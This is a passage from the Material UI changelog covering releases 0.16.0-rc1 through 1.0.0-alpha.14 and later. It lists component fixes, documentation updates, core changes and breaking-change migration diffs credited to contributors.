[eslint] enforce import plugin rules (#6923) @rosskevin\n- [core] Change style API (#6892) @oliviertassinari\n- [eslint] Fit closer to airbnb (#6894) @oliviertassinari\n- [core] Upgrade the dependencies (#6872) @oliviertassinari\n- [core] Add prettier (#6931) @oliviertassinari\n\n## 1.0.0-alpha.14\n\n_May 14, 2017_\n\n### Breaking changes\n\n- [Hidden] Remove one degree of freedom (#6820) @oliviertassnari\n- [Hidden] Logical fixes for up/down (#6839) @rosskevin\n\n### Component Fixes / Enhancements\n\n- [Icon] Add aria-hidden (#6829) @oliviertassinari\n- [Paper] Add elevation boundaries (#6817) @oliviertassinari\n- [Paper] Add a component property (#6830) @oliviertassinari\n- [Transition] Add flow proptypes (#6846) @rosskevin\n- [npm] Upgrade the recompose dependency (#6855) @oliviertassinari\n- [TextField] Add in support for multiline text fields (#6553) @peteratticusberg\n- [TextField] Second iteration on multilines (#6859) @oliviertassinari\n\n### Docs\n\n- [docs] Fix link to material-ui-icons (#6825) @NiloCK\n- [docs] Add a direct link to GitHub (#6861) @oliviertassinari\n\n### Core\n\n- [coverage] Remove the flow plugins as they were not needed (#6816) @rosskevin\n- [ButtonBase] Add test coverage for instance.focus (#6827) @agamrafaeli\n- [ButtonBase] Add test coverage for handleFocus (#6828) @agamrafaeli\n- [flow] Fix small issues (#6860) @oliviertassinari\n\n## 1.0.0-alpha.13\n\n_May 8, 2017_\n\n### Breaking changes\n\n- [lint/flow] validate imports/exports with ESLint and flow (#6757) @rosskevin\n  Change some import:\n\n```diff\n-import { List, ListItem, ListItemText } from 'material-ui/List';\n+import List, { ListItem, ListItemText } from 'material-ui/List';\n```\n\n- [Grid] Rename Layout to Grid (#6789) @rosskevin\n\n```diff\n-import Layout from 'material-ui/Layout';\n+import Grid from 'material-ui/Grid';\n```\n\n### Component Fixes / Enhancements\n\n- [Slide] Fix getTranslateValue for left & up cases (#6454) @josulliv101\n- [Hidden] Responsively hide content (js implementation) (#6748) @rosskevin\n- [Hidden] Fixes, demos, regression tests, and `only` functionality (#6782) @rosskevin\n- [Layout] Add a hidden property (#6754) @rosskevin\n- [Typography] Flow type (#6787) @rosskevin\n\n### Docs\n\n- [palette] Require color shape that matches defaults (#6756) @kgregory\n- [docs] Document the Theme section (#6810) @oliviertassinari\n- [docs] Add a search bar (#6745) @oliviertassinari\n- [docs] Generate a summary of each section (#6772) @oliviertassinari\n- [docs] Start addressing documentation issues (#6758) @oliviertassinari\n- [docs] Hide the context implementation details (#6798) @oliviertassinari\n\n### Core\n\n- Expanding use of flow for propType, include flow types in package, add flow-typed (#6724) @rosskevin\n- [core] Fix flow propTypes generation issue (#6749) @oliviertassinari\n- [createShallow] Remove cleanup (#6797) @agamrafaeli\n\n## 1.0.0-alpha.12\n\n_Apr 30, 2017_\n\nA big thanks to the 11 contributors who are pushing the `next` branch forward.\n\n### Breaking changes\n\n- [Typography] Rename Text to Typography (#6667) @oliviertassinari\n- [Radio] Change checked color to primary (#6683) @khayong\n\n### Component Fixes / Enhancements\n\n- [Collapse] Add test coverage for wrapper ref (#6617) @agamrafaeli\n- [Collapse] Add test coverage for `handleEntered()` (#6616) @agamrafaeli\n- [Collapse] Add test coverage for `handleEntering()` (#6615) @agamrafaeli\n- [CardHeader] Subheader doesn't go to a new line if there's no avatar (#6668) @kgregory\n- [SwitchBase] Add test coverage for `handleInputChange()` (#6613) @agamrafaeli\n- [Input] Reset for Safari (21751b293578f25675d415de766f77bd0178fc9c) @oliviertassinari\n- [Theme] Reintroduce `muiThemeable` as `withTheme` (#6610) @sxn\n- [Modal] Fixes cannot revert back to original overflow when have multiple modals (#6661) @khayong\n- [style] Reset the font family where needed (#6673) @oliviertassinari\n- [consoleErrorMock] Add test coverage (#6681) @agamrafaeli\n- [Transition] Add test coverage for `shouldComponentUpdate()` (#6680) @agamrafaeli\n- [ModalManager] Add test coverage for removal of non-exiting modal (#6678) @agamrafaeli\n- [Tabs] Label text wrapping / font scaling (#6677) @shawnmcknight\n- [Tabs] Cancel throttled event callbacks (#6715) @shawnmcknight\n- [Tabs] Improve component lifecycle (#6730) @shawnmcknight\n- [material-ui-icons] add making index.js (#6676) @taichi\n- [breakpoints] up('xs') should have a min-width of 0px (#6735) @rosskevin\n\n### Docs\n\n- [docs] Fix the example \"Usage\" to match new Button component (#6692) @artarmstrong\n- [docs] Fix theme toggling (#6652) @nathanmarks\n- [TextField] Add password example to docs (#6637) @peteratticusberg\n- [docs] Fix layout edit button (4b5fedf902704b5e3dd2dba63fc2263f11e975d0) @oliviertassinari\n- [docs] Fix IE11 issue (6ad3354ec1a844d0f03bf890a5e73a7987179be7) @oliviertassinari\n\n### Core\n\n- [material-ui-icons] Modernize the package (#6688) @oliviertassinari\n- [core] Also take the demo into account for the regressions tests (#6669) @oliviertassinari\n\n## 1.0.0-alpha.11\n\n_Apr 14, 2017_\n\n### Component Fixes / Enhancements\n\n- [Drawer] Proper placement for anchor other than left (#6516) @kgregory\n- [ListItemAvatar] Fix & refactor (#6540) @mbrookes\n- [style] Add missing blueGrey colors (#6548) @peteratticusberg\n- [ButtonBase] Change tests to use faketimers (#6559) @agamrafaeli\n- [ButtonBase] Add test coverage for handleKeyDown (#6591)\n- [Tabs] Add scrollable behavior (#6502) @shawnmcknight\n- [Modal] Test focus (#6573) @agamrafaeli\n- [Chip] Add MuiChip to MUI_SHEET_ORDER (#6595) @nareshbhatia\n- [Collapse] Add test coverage for `handleExiting()` (#6589) @agamrafaeli\n- [Modal] Add test coverage for `handleDocumentKeyUp()` (#6588) @agamrafaeli\n- [Popover] Add test coverage for `handleRequestTimeout()` (#6599) @agamrafaeli\n\n### Docs\n\n- [package.json] Add test:unit:grep (#6586) @agamrafaeli\n- [docs] Fix build:docs command (#6606) @oliviertassinari\n\n### Core\n\n- [utils] Remove throttle (#6545) @agamrafaeli\n- [react] Upgrade to React@15.5.3 (#6543) @oliviertassinari\n- [core] Remove one babel transform as require the Symbol polyfill (#6602) @oliviertassinari\n- [core] Add missing babel-runtime dependency (#6535) @oliviertassinari\n- [core] Random small fixes (#6522) @oliviertassinari\n- [test] Makes sure argos run even if diff fails (#6512) @oliviertassinari\n\n## 1.0.0-alpha.10\n\n_Apr 6, 2017_\n\nWe are continuing investing in the documentation and the test suite.\n\nVisual regression tests are now sent to [argos-ci](https://app.argos-ci.com/mui/material-ui/builds).\nThanks @agamrafaeli for increasing the test coverage of 1% since the last release (95.23%).\nThanks @mbrookes for fixing the inconsistency of the API and improving the API.\n\n### Breaking changes\n\n- [core][docs] Invert negative bool props (#6487) @mbrookes\n\n```diff\n// Paper\n-rounded\n+square\n\n// BottomNavigation\n-showLabel\n+showLabels\n\n// Button, IconButton, Switch\n-ripple\n+disableRipple\n\n// Modal, Dialog\n-backdropVisible\n+backdropInvisible\n\n-backdrop\n+disableBackdrop\n\n-hideOnBackdropClick\n+ignoreBackdropClick\n\n-hideOnEscapeKeyUp\n+ignoreEscapeKeyUp\n\n// Backdrop\n-visible\n+invisible\n\n// ListItem\n-gutters\n+disableGutters\n\n// InputLabel, TextFieldLabel\n-animated\n+disableAnimation\n\n// TableCell, List\n-padding\n+disablePadding\n\n// Inputn\n-underline\n+disableUnderline\n\n// CardAction\n-actionSpacing\n+disableActionSpacing\n\n// CardHeader\n-subhead\n+subheader\n```\n\n### Component Fixes / Enhancements\n\n- [TextField] Forward name props to the input (#6469) @nvma\n- [MuiThemeProvider] Add test for for componentWillUpdate (#6474) @agamrafaeli\n- [styles.breakpoints] Add test for `only()` calling 'xl' (#6475) @agamrafaeli\n- [Menu] Add tests for handleEnter() (#6477) @agamrafaeli\n- [transitions] Add test coverage for getAutoHeightDuration (#6507) @agamrafaeli\n- [Popover] Add test for getoffset (#6510) @agamrafaeli\n- [breakpoints] Fix down function, eliminate overlap (#6504) @kgregory\n\n### Docs\n\n- [docs] Add missing prop descriptions to all components (#6483) @mbrookes\n- [docs] Link version number to release notes (#6486) @mbrookes\n- [docs] Link between sections (#6480) @oliviertassinari\n- [docs] Add a 'edit this page' button (#6482) @oliviertassinari\n- [docs] Display the current version (#6481) @oliviertassinari\n- [docs] Upgrade the dependencies (567a35ea3d2aa634a3072fb8b0151c9890551447) @oliviertassinari\n\n### Core\n\n- [test] Fix import paths for theme and MuiThemeProvider (#6493) @joefitzgerald\n- [test] Add argos-ci (#6391) @oliviertassinari\n- [test] Add HTML reporting of coverage from npm (#6479) @agamrafaeli\n- [TouchRipple] Remove react-addons-transition-group (#6514) @ykzts\n- [core] Do not output any .map file (#6478) @oliviertassinari\n\n## 1.0.0-alpha.9\n\n_Apr 1, 2017_\n\n### Component Fixes / Enhancements\n\n- [Tab] Add labelClassName property (#6436) @rogeliog\n- [test] Fix absolute path in createShallow (444c60392550fe73bb3492ba0ebb63473c73162a) @oliviertassinari\n- [material-ui-icons] Reinstate README and update scripts, update installation.md (#6448) @mbrookes\n- [Input] Add test for focus() (#6461) @agamrafaeli\n- [Input] Add test for componentDidMount() (#6462) @agamrafaeli\n- [RadioGroup] Add tests for edge cases (#6409) @agamrafaeli\n- [RadioGroup] Add missing teardown in test (8005d9d9b98ed58a041a9e49931fd88cb48687e2) @oliviertassinari\n- [Ripple] Add a new test for the unmount logic (#6434) @oliviertassinari\n\n### Docs\n\n- [docs] Add API menu and demo button (#6455) @mbrookes\n- [docs] Link to the Collapse documentation (#6464) @JeremyIglehart\n- [docs] Fix api.md indentation (#6468) @solkaz\n\n### Core\n\n- [core] Upgrade the dev dependencies (#6435) @oliviertassinari\n- [test] Takes the Menu as an example in the test documentation (d13607581dc2bf6c86e88721c2d177b8b8b2d004) @oliviertassinari\n- [Layout] Extract requireProp to utils (#6473) @agamrafaeli\n\n## 1.0.0-alpha.8\n\n_Mar 25, 2017_\n\nA big thanks to @agamrafaeli for increasing the test coverage by 4%.\nWe are now at 93.53%. That's pretty great.\n\n### Component Fixes / Enhancements\n\n- [Chip] Add tests for handleKeyDown for Chip module (#6379) @agamrafaeli\n- [Chip] Add tests for onRequestDelete (#6377) @agamrafaeli\n- [Chip] Alignements issue on children, affecting safari only (#6336) @stunaz\n- [Dialog] Test transition prop not a function (#6387) @agamrafaeli\n- [DialogTitle] Test scenario where children are a string (#6386) @agamrafaeli\n- [Drawer] Remove unreachable code in `getSlideDirection` (#6388) @agamrafaeli\n- [FormControl] Add tests for internal functions (#6407) @agamrafaeli\n- [FormGroup] Add spec (#6404) @agamrafaeli\n- [IconButton] Add test for rendering Icon children (#6405) @agamrafaeli\n- [Layout] Backport a fix at Doctolib for Chrome (#6376) @oliviertassinari\n- [Layout] Revise default value for aligns-items (#6334) @stunaz\n- [List] Making list meet Material Guidelines (#6367) @kybarg\n- [style] Expose createStyleSheet to reduce boilerplate (#6378) @oliviertassinari\n- [style] Expose the between breakpoints helper (#6382) @oliviertassinari\n- [TableSortLabel] Add spec (#6408) @agamrafaeli\n- [test] Expose the test helpers (#6383) @oliviertassinari\n- [TouchRipple] Add tests for edge cases (#6411) @agamrafaeli\n\n### Docs\n\n- [docs] Use material-ui-icons package (#6390) @mbrookes\n\n### Core\n\n- [SvgIcons] Update build (#6375) @mbrookes\n\n## 1.0.0-alpha.7\n\n_Mar 12, 2017_\n\n### Component Fixes / Enhancements\n\n- [Slide] Fix displaying when in=false at first (#6223) @ArcanisCz\n- [Ripple] Improve the animation (#6248) @oliviertassinari\n- [color] Add missing blueGrey color (#6255) @Shahrukh-Zindani\n- [Table] Fix paddings according to guidelines (#6306) @kybarg\n- [Table] Replace font icon to svg icon in sort label (#6321) @kybarg\n- [Table] Add visual regression tests (#6325) @oliviertassinari\n- [Button] Use faded text color for hover state (#6320) @mbrookes\n\n### Docs\n\n- [docs] Add a Color section (#6254) @Shahrukh-Zindani\n- [docs] Add information to typography (#6266) @Shahrukh-Zindani\n\n### Core\n\n- [test] Server-side render some element to be sure (#6328) @oliviertassinari\n- [npm] Add correct extension (#6241) @okvic77\n- [core] Rename travis to circle as we migrated (e7fba22bd19f82f5489cb52eaaaaff23f2f57939) @oliviertassinari\n- [core] Fix docs:start command on Windows (#6307) @kybarg\n- [core] Upgrade the npm dependencies (#6327) @oliviertassinari\n\n## 1.0.0-alpha.6\n\n_Feb 26, 2017_\n\n### Core\n\n- [core] Fix component wrong propType (03f0fdc627951b5ddd3b28bd1a4cbdcee96f2a1c) @oliviertassinari\n\n## 1.0.0-alpha.5\n\n_Feb 26, 2017_\n\n### Core\n\n- [core] Fix propTypes usage (9a220173a59e51108f7ee9d059a312f174113ac2) @oliviertassinari\n\n## 1.0.0-alpha.4\n\n_Feb 26, 2017_\n\n### Component Fixes / Enhancements\n\n- [Button] Fix boxSizing when not rending a native button (#6224) @oliviertassinari\n- [Divider] Fix negative margin causes overflow/scrollbars (#6139) @giuseppeg\n- [LinearProgress] Add an accessibility property (#6155) @oliviertassinari\n- [Text] Add more option to the align property (#6153) @oliviertassinari\n- [icon-builder] Update to generate standalone package (#6104) @mbrookes\n- [style] transitions theme API reworked (#6121) @ArcanisCz\n- [svg-icons] Change target package name (#6184) @mbrookes\n- [transitions] Fix an unknown property warning (#6157) @oliviertassinari\n- [transitions] Fix allowing fraction numbers as delay/duration (#6221) @ArcanisCz\n\n### Docs\n\n- [docs] Use webpack 2 & dll bundle (#6160) @nathanmarks\n- [docs] Improve the user experience on mobile (#6154) @oliviertassinari\n- [docs] Fix the Table examples on mobile (425d8ed47e0282b8c0409517c53e00ef61374b02) @oliviertassinari\n- [docs] Add an API section (#6239) @oliviertassinari\n- [docs] Normalize the container property (#6238) @oliviertassinari\n\n### Core\n\n- [core] Fix typos in styles/transitions pointed out in issue (#6175) @Shahrukh-Zindani\n- [core] Lightweight the build (#6152) @oliviertassinari\n- [core] Add exports to index.js for inclusion in webpack bundle (#6144) @fkretzer\n- [test] Integration of test suite to run on BrowserStack (#6236) @oliviertassinari\n- [test] Bump vrtest version for exit code fix (1831aa76fe72e9b22a0b82f2a360f860ca89fdce) @nathanmarks\n\n## 1.0.0-alpha.3\n\n_Feb 12, 2017_\n\n### Component Fixes / Enhancements\n\n- [Button] Make the node isRequired (#6095) @oliviertassinari\n- [TextField] value propType (#6091) @mntbkr\n- [TextField] Fix width issue (#6096) @oliviertassinari\n- [TextField] Add an inputProps property (#6111) @oliviertassinari\n- [Checkbox] Not selecting label text on quick clicks (#6097) @ArcanisCz\n- [Tabs] Add a disabled property (#6112) @irfanhudda\n- [Paper] Rename zDepth -> elevation everywhere (#6116) @ArcanisCz\n\n### Docs\n\n- [docs] Add simple example in the Badge API (#6117) @stunaz\n- [docs] Add a Drawer section (#6113) @ArcanisCz\n\n### Core\n\n- [core] Simplify test suite and use vrtest for regressions (#6122) @nathanmarks\n- [core] Prefix stylesheet names to prevent collisions (#6110) @oliviertassinari\n- [core] Remove stringOrNumber propTypes (#6109) @oliviertassinari\n\n## 1.0.0-alpha.2\n\n_Feb 7, 2017_\n\nOne year ago, we were struggling with removing all the mixins from the project.\nNow, it's about rewriting all the components.\nWe're going to try doing frequent alpha releases to keep some intertia. At least once per week would be good.\nAs always, we are keeping the [documentation](https://mui.com) up to date.\n\n### Component Fixes / Enhancements\n\n- [Badge] Port the Badge Component (#6043) @stunaz\n- [Layout] Warn about wrong usage of the item & container combination (#6040) @oliviertassinari\n- [Layout] Explicit the box-sizing dependency (#6036) @oliviertassinari\n- [Drawer] Open/close animation easing and timing (#6066) @ArcanisCz\n\n### Docs\n\n- [docs] Add a composition section (#6049) @oliviertassinari\n- [docs] Explain how to use the visual regression tests (#6050) @oliviertassinari\n- [docs] Improve the Server Rendering section (#6070) @oliviertassinari\n\n## 1.0.0-alpha.1\n\n_Jan 28, 2017_\n\nThis is the first public alpha release. It's still work in progress.\nYou will be able to start giving us feedback with this release.\nPlease keep in mind that [semver](https://docs.npmjs.com/getting-started/semantic-versioning) won't be respected between pre-releases.\nIn other words, the API will change if we need to.\n\n## 0.16.7\n\n_Jan 15, 2017_\n\nA A big thanks to the 20 contributors who are making this release possible.\n\n### Component Fixes / Enhancements\n\n- [DropDownMenu] Add keyboard accessibility (#5921) @caesay\n- [EnhancedButton] Remove unnecessary hack, improving overall performance (#5868) @jampy\n- [FloatingActionButton] Fix thin white border (#5881) @ludoviccyril\n- [IconButton] Fix a onTouchStart error (#5833) @oliviertassinari\n- [IconButton] Fix hoveredStyle prop override style prop (#5874) @MattCain\n- [IconMenu] Fix React warning (#5843) @olee\n- [Menu] Add onFocusIndexChange property (#5851) @gabrielmdeal\n- [Menu] Fix support of any type of children (#5904) @oliviertassinari\n- [style] Shorthand syntax for a color object (#5835) @frooeyzanny\n- [style] Fix user-agent all with display flex (#5931) @oliviertassinari\n- [Tab] Allow overriding button style on tabs (#5844) @rhagigi\n- [Tabs] Fix a regression (#5891) @oliviertassinari\n- [Table] Add an integration tests (#5845) @oliviertassinari\n- [Table] Fix TableBody selectedRows state (#5829) @ovaldi\n- [Table] Remove useless padding (#5932) @oliviertassinari\n- [TableBody] Fix row selection re-render (#5905) @dchambers\n- [test] Fix typo in the iOSHelpers.spec.js (#5837) @frooeyzanny\n\n### Docs\n\n- [docs] Add payment components to Related projects (#5849) @lorensr\n- [docs] Add showcase for \"humorista.org\" (#5859) @minas1\n- [docs] Fix broken link (b7d9a373320b49f62e47f4e2e5ca4aa882265904) @oliviertassinari\n- [docs] Fix spelling mistake in PropTypeDescription.js (#5883) @Jbarget\n- [docs] Fix typo (#5889) @lucasbento\n- [docs] It is exciting (#5831) @ratson\n- [Tabs] Fix typo in initialSelectedIndex prop description (#5923) @neonray\n- [withWidth] Fix typo in the withWidth.spec.js (#5836) @frooeyzanny\n\n### Core\n\n- [test] Use simpler assert API (e017d365f45b07933e8b896f95d6d1455b666516) @oliviertassinari\n\n## 0.16.6\n\n_Dec 25, 2016_\n\nWe are releasing sooner than we use to for this **special day** :christmas_tree::gift:.\n17 contributors are making that last release of the year possible.\n\n2016 has been an exceptional year for Material UI.\n\n- We went from 40k to 180k [downloads](https://npm-stat.com/charts.html?package=material-ui&from=2014-12-24&to=2016-12-25) a month. :package:\n- We went from 12k to 22k [stars](http://www.timqian.com/star-history/#mui/material-ui). :star:\n\nThat wouldn't have been possible without this awesome community.\n**Thank you!**\n\nBut this's just the beginning, some [exciting stuff](https://github.com/mui/material-ui/blob/v0.16.6/ROADMAP.md) is coming in 2017 :sparkles:.\nYou can preview a **very early** version of the `next` branch following [this link](https://material-ui-next.com).\n\n### Component Fixes / Enhancements\n\n- [IconButton] Add a hoveredStyle property (#5755)\n- [Menu] Add a dividerStyle property (#5734)\n- [Menu][dropdownmenu][SelectField] Add menuItemStyle and menuItemSelectedStyle properties (#5389)\n- [Popover] Fix ghost clicks in onRequestClose (#5749)\n- [Popover] Fix bad positioning on IOS devices (#4638)\n- [Popover] Revert the latest PR following a regression (#5797)\n- [Stepper] Allow custom step connector (#5741)\n- [Stepper] Fix content container's height expantion (#5733)\n- [TimeDisplay] Inherit text color from theme (#5816)\n- [TouchRipple] Fix issue #5626 (#5763)\n\n### Docs\n\n- [Autocomplete] Add a controlled example (#5795)\n- [Slider] Add onChange callback signatures to docs (#5760)\n- [TextField] Add callback signatures to docs (#5804)\n- [docs] Add link to babel-plugin-material-ui (#5754)\n- [docs] Node is written mostly in C++, not in C (#5776)\n- [docs] Remove redundant words (#5778)\n- [docs] Add showcase item - Realty Advisors Elite (#5806)\n\n### Core\n\n- [core] Add support for webpack 2/Rollup tree shaking in `svg-icons` sub module (#5774)\n\n## 0.16.5\n\n_Dec 9, 2016_\n\nThis is another release improving the stability of `v0.16.x`.\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Add an onClose callback property (#5655)\n- [Autocomplete] Fix the controlled behavior (#5685)\n- [DatePicker] Auto switch the view when a year is selected (#5700)\n- [DropDownMenu] Add an onClose callback property (#5653)\n- [DropDownMenu] Do not wrap below dropdown menu (#4755)\n- [EnhancedButton] Fix an accessibility issue (#5657)\n- [EnhancedButton] Only apply type when needed (#5728)\n- [IconMenu] Add listStyle prop (#5630)\n- [IconMenu] Fix controlled IconMenus to honor onRequestChange (#5704)\n- [MenuItem] Add right padding when there is icon (#4762)\n- [Popover] Add the missing zIndex (#5730)\n- [List] Fix padding styles object (#5661)\n- [SelectField] Scroll wheel event bubbling to parent container (#4154)\n- [StepLabel] Address a box model issue (#5690)\n- [SelectField] Add listStyle prop (#5631)\n- [TextField] Fix errorStyle priority (#5654)\n- [TextField] Add a floatingLabelShrinkStyle property (#5669)\n- [autoprefixer] Fix a style issue with user agent all and display flex (#5668)\n- [makeSelectable] Fix missing check for existence of onChange (#5589)\n\n### Docs\n\n- [docs] Add a Q&A section around the next branch (#5718)\n- [docs] Fix typo with sentence for Autocomplete (#5596)\n- [docs] Fix origin documentation (#5676)\n- [docs] Fix Linear Progress Prop Documentation (#5680)\n- [docs] Fix a scroll issue on (iOS) (a12dca847af6833dbf671e48c736047d6909ec53)\n\n### Core\n\n- [core] Apply 3 different fixes (#5695)\n\n## 0.16.4\n\n_Nov 17, 2016_\n\n### Component Fixes / Enhancements\n\n- [npm] Rollback the react dependency path to `v15.0.0` (417913e41fbc3366c6997258263270c6d7465c1a)\n\n## 0.16.3\n\n_Nov 17, 2016_\n\nThis release is intended to solve an [issue](https://github.com/mui/material-ui/issues/5573) with `react-tap-event-plugin` following the release of React `v15.4.0`.\n\n### Component Fixes / Enhancements\n\n- [ListItem] Fix hover on touch devices (#5566)\n- [core] include `react-tap-event-plugin@^2.0.0` for `react@^15.4.0` (#5572)\n- [core] Add support for webpack 2/Rollup tree shaking (#5545)\n\n### Docs\n\n- [docs] Upgrade React to v15.4.0 (#5575)\n\n## 0.16.2\n\n_Nov 13, 2016_\n\nThis is another release improving the stability of `v0.16.x` while we are working on get `next` out of the door.\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Fire onUpdateInput when an item from the dropdown is selected (#5518)\n- [Autocomplete] Fix Popover's style overriding popoverProps (#5516)\n- [Card] Add closeIcon and openIcon for customizability (#5513)\n- [FloatingActionButton] Fix regression with n children (#5468)\n- [GridList] Add the support for cellHeight=\"auto\" (#5452)\n- [GridTitle] Add a titleStyle property (#5535)\n- [IconMenu] Change IconMenu to conditionally merge button styles (#5496)\n- [IE] Remove the unsupported initial property (#5539)\n- [MenuItem][listitem] Allow overriding hoverColor (#5502)\n- [ListItem] Fix an issue with the controlled behavior (#5514)\n- [ListItem] Clear hover state if component gets disabled (#5528)\n- [Popover] Fix support for invalid `anchorEl` (#5444)\n- [RaisedButton] Fix hover on touch devices (#5536)\n- [Stepper] Fix children count method (#5429)\n- [Stepper] Add iconContainerStyle to StepButton and StepLabel (#5507)\n- [Tabs] Fix Firefox height issue (bf25bc118523b359bba5a5540205174a1c2d9e27)\n- [Table] Warning on rendering attempt of unsupported child (#5520)\n- [TextField] Add ability to style label color when a value is present (#5490)\n- [TextField] Fix wrong style being applied to div elements (#5446)\n- [TextField] Fix floatingLabelFocusStyle when floatingLabelFixed is true (#5487)\n- [TextField] Remove the isClean logic (#5540)\n- [TimePicker] Fix `autoOk` closing the dialog too early (#5511)\n- [ToolbarGroup] Fix vertical alignment (#5515)\n- [ToolbarTitle] Take font family from base theme (#5434)\n- [Toggle] Fix label propTypes from `string` to `node` (#5474)\n\n### Core\n\n- [npm] Upgrade the dependencies (#5466, #5537)\n\n### Docs\n\n- [docs] Add one more resource around the style migration (0d375d6271a2c65e6e608dde28ee4ca55defd81b)\n- [docs] Add a note regarding other properties (#5491)\n- [docs] Add redux-form in the Related projects section (3e10f203bc3a7d79f94011586c134b6e17a69016)\n- [docs] Add CReMa in the Related projects section (#5431)\n\n## 0.16.1\n\n_Oct 18, 2016_\n\nThis is a small release improving the stability of `v0.16.x`.\n\n### Component Fixes / Enhancements\n\n- [ClickAwayListener] Improve the propTypes definition (2d99b2d66f0a895389f61e866c8840abebcf2b72)\n- [DropDownMenu] Fix usage of null child (#5402)\n- [FloatingActionButton] Set touch flag in handleTouchEnd (#5077)\n- [FloatingActionButton] Fix overriding the style property on the children (#5246)\n- [IconMenu] Updating error message for IconButton (#5361)\n- [IconMenu] Makes the warning message more explicit (#5395)\n- [Menu] Fix the key theme used for the selectedTextColor (#5379)\n- [MenuItem] Add min-height to MenuItem to allow null options in SelectItem (11639b02e62cc60861582eb9c1516e1fe46d5ccb)\n- [Popover] Making sure Popover has correct position (#4839)\n- [Popover] Add missing animated=false (#5374)\n- [RadioButtonGroup] Modifying `selected` initial value check to account for falsy value (#5342)\n- [RaisedButton] Add a overlayStyle property (c16147d9eb81a69a82f88d21fb0d7a356b95e2af)\n- [RefreshIndicator] Fix Unknown props react warning (#5356)\n- [Tabs] Add tabTemplateStyle prop to Tabs (#5359)\n- [TableFooter] Render the children independently of adjustForCheckbox (#5406)\n- [TableRowColumn] Revert Tooltip visible with TableRowColumn (#5378)\n- [TextField] Fix a failing test with the controlled behavior (#5351)\n- [TextField] Fix leaking appearance property on a div (#5412)\n- [withWidth] Fix the SSR reconciliation (#5405)\n\n### Core\n\n- [GitHub] Improve ISSUE_TEMPLATE to ask for a running snippet (#5388)\n- [npm] Upgrade the dependencies (#5404)\n\n### Docs\n\n- [docs] Add LireLactu to the showcase (#5336)\n- [docs] Document the muiThemeable HOC (#5363)\n- [docs] Fix non-compiling example code on Themes page (#5344)\n\n## 0.16.0\n\n_Oct 3, 2016_\n\nThis release contains a ton of bug fixes and small improvements :boom:.\n\nWe have **shifted goals** for `v0.16.0`.\nAcross a number of issues over the last ~5 months we have been telling people that certain improvements are coming in `v0.16.0` ranging from performance to component API issues and more.\nThose improvements are coming with the `next` branch :sparkles:.\nWe are switching in goal so we can release changes more **often**.\n\nRegarding going forward, this is likely to be the last `minor` release using the **inline-style** approach.\nWe are migrating all the components to a **CSS-in-JS** approach on the `next` branch.\n\nFor more details, you can have a look a the [next milestone](https://github.com/mui/material-ui/milestone/14) as well as the [next project](https://github.com/mui/material-ui/projects/1)\n\n:warning: New features based on the `master` branch (inline-style) have low priority and will most likely not be reviewed nor merged.\n\n### Component Fixes / Enhancements\n\n- [Card] Fix unused property subtitleColor (#5314)\n\n### Core\n\n- [Core] Use lodash.merge/throttle for faster require() (#5308)\n\n### Docs\n\n- [docs] Add a single line example for GridLists (#5313)\n- [docs] Add react-dnd (7e1d9d3d1d61a3ee8e6dbf57cd2261754a3285f3)\n- [docs] Add Casalova to the showcase (7c0df3be32813ddb003cd47b6529431f3cd41679)\n\n## 0.16.0-rc2\n\n_Sep 24, 2016_\n\n### Breaking Changes\n\n- [TimePicker] Remove the call to onDismiss when already calling onAccept (#5213)\n\n### Component Fixes / Enhancements\n\n- [AppBar] Fix onTouchTap handler (#5245)\n- [Autocomplete] Add popoverProps to pass to Popover (#5064)\n- [DatePicker] Improve the RTL support (#5155)\n- [DatePicker] Improve the i18n support (#5187)\n- [IconButton] Remove dead code (#5226)\n- [Popover] Fix a callback leak (#5158)\n- [RaisedButton] Add a buttonStyle property (#5196)\n- [Switch] Add thumbSwitchedStyle and trackSwitchedStyle (#5106)\n- [Snackbar] Fix the element covering up 100% width of the screen (#5113)\n- [Snackbar] Add a contentStyle property (#5205)\n- [Tabs] Fix an edge case where children and value props change (#4635)\n- [Tabs] Fix onChange bubbling (#5219)\n- [TimePicker] Fix a conflict with box-sizing reset (5529138)\n- [withWidth] Compute the width as soon as possible (#5154)\n\n### Docs\n\n- [AppBar] Add a composition example (#5248)\n- [RaisedButton] Update file upload example (#5159)\n- [docs] Add material-ui-chip-input to related projects (#5172)\n- [docs] Add material-auto-rotating-carousel to related projects (#5244)\n- [docs] Explicit the prerequisites section to required knowledge (#5203)\n- [docs] Update the server-rendering section (#5206)\n\n### Core\n\n- [core] Add babel-runtime to the release (#5221)\n- [core] Use the ^15.0.0 as a dependency for React (#5207)\n- [npm] Upgrade the dependencies (#5161)\n\n## 0.16.0-rc1\n\n_Sep 8, 2016_\n\n### Breaking Changes\n\n- [Badge] Swapped primary and accent colors (#4449)\n- [CircularProgress] The API has become more flexible and straightforward. `size` attribute now means the outer diameter in pixels. Line thickness is variable and should be defined via the `thickness` attribute. Default margins are eliminated. If you'd like to upgrade your existing app without changing the actual sizes of your `CircularProgress` components, here are the formulas:\n\n```js\nnewSize = 59.5 * oldSize;\nthickness = 3.5 * oldSize;\nmargin = oldSize < 0.71 ? (50 - 59.5 * oldSize) / 2 : 5.25 * oldSize;\n```\n\nExamples:\n\n```jsx\n// Before:\n<CircularProgress />\n<CircularProgress size={2} />\n\n// After:\n<CircularProgress size={59.5} style={{margin: 5.25}} /> // Thickness is 3.5 by default\n<CircularProgress size={119} thickness={7} style={{margin: 10.5}} />\n```\n\n(#4705)\n\n- [core] Wrap the `propTypes` definitions so they can be removed in production (#4872)\n- [core] Remove the deprecated code (#4987)\n- [List] Rename MakeSelectable to makeSelectable (#5025)\n\n### Component Fixes / Enhancements\n\n- [BottomNavigation] Fix SVG icon positioning (#4982)\n- [Buttons] Reset hover state when disabled prop is changed (#4951)\n- [CardHeader] Fixes warning: Unknown props titleColor (0e787c7)\n- [Checkbox] Tweak the transition to allow different shapes (#5016)\n- [DatePicker] Improve dark theme support (#4943)\n- [DatePicker] Changes opacity of disabled day-buttons (#4994)\n- [EnhancedTextarea] Guard for if scrollHeight is not present (#5015)\n- [FloatingActionButton] Reset hover state when disabled prop is changed (#4951)\n- [IconMenu] Warn when not providing an IconButton to iconButtonElement (#4990)\n- [NestedList] Prevent rendering the children when the nested list is hidden (#5024)\n- [Popover] Prevent creating multiple timeouts when popover is closing (#5010)\n- [ListItem] Fix primaryTogglesNestedList not working with checkbox (#4988)\n- [RaisedButton] Fixes warning: Unknown props on <button> (#5067)\n- [RefreshIndicator] Passing other props to the root element (#5054)\n- [RTL] Add a new directionInvariant property (#5026)\n- 